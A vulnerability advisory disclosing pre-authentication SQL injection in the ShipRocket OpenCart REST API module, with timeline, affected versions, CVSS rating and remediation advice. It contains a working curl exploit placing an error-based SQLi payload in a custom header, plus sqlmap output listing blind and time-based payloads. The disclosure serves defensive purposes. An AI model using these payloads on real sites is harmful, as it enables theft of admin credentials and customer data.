The ShipRocket OpenCart Rest API module has multiple SQL Injection (SQLi) vulnerabilities.
The most serious of these allows an unauthenticated attacker to access any and all content stored in the database.
Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.
Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.
- 2025-01-02: mcdruid contacts ShipRocket to report vulnerability
- 2025-01-03: ShipRocket replied acknowledging receipt, pending triage
- 2025-01-06: more info sent to ShipRocket, who confirm they are "working on it"
- https://www.shiprocket.in/knowledgebase/integrate-opencart-ShipRocket/
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=29734
- Vulnerable versions:
- Shiprocket-OpenCart-V4 / version: 4.0
- shiprocket_v3 (Aug, 28 2018)
- Previous versions not tested but likely also vulnerable.
- Tested with OpenCart 4.0.2.3, 3.0.4.0
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CAPEC-66: SQL Injection
- CAPEC-7: Blind SQL Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: assignment pending
In the examples below, a simple OpenCart test site has been set up with the ShipRocket Rest API OpenCart module installed. No further configuration is necessary.
Example exploit which sends a malicious payload in a custom HTTP header:
$ curl -si http://opencart.ddev.site/index.php?route=extension/shiprocket/module/restapi -H 'x-key: 0' -H "x-username: 1' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT('~',(SELECT VERSION()),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)||'" | grep -oP '~.*?~'
~10.11.9-MariaDB-ubu2204-log~
~',(SELECT VERSION()),'~
Note that no authentication is required. This example uses an error-based vector to extract information from the database.
If the display of errors has been disabled on the site (it seems to be enabled by default), it's possible to use blind SQLi techniques to extract information.
In the OpenCart 3 version, the vulnerable custom header is x-public
.
The sqlmap tool ( https://sqlmap.org/ ) enumerates a number of possible attack techniques for one of the vectors (in v4):
sqlmap -u http://opencart.ddev.site/index.php?route=extension/shiprocket/module/restapi -H 'x-username: foo*' -H 'x-key: bar' --ignore-code=401
---
Parameter: x-username #1* ((custom) HEADER)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: foo' OR NOT 4348=4348#
Vector: OR NOT [INFERENCE]#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: foo' AND (SELECT 9077 FROM(SELECT COUNT(*),CONCAT(0x7178627a71,(SELECT (ELT(9077=9077,1))),0x7178767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DPRZ
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: foo' AND (SELECT 8957 FROM (SELECT(SLEEP(5)))UWGH)-- naLx
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
It's possible to use these techniques to dump any information from the database, including the admin user credentials / session details.
There is at least one other SQLi vulnerability in the module, but in order to exploit it the attacker would need to be able to successfully authenticate.
For example, the filters[sort]
GET param when action=getProducts
is
injectable.
In the v3 version of the module, any key/value can be passed in the filters
GET param and these are vulnerable to SQLi in certain action
methods, for
example action=getOrders&filters[order_id]=foo
.
The vulnerable HTTP headers are the most serious problem though, as these are pre-authentication.
OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.
Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.
This is typically done in two ways; either the value is cast to a numeric format, or the database driver's escape method is used.
An example from OpenCart's own code that uses both techniques:
$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");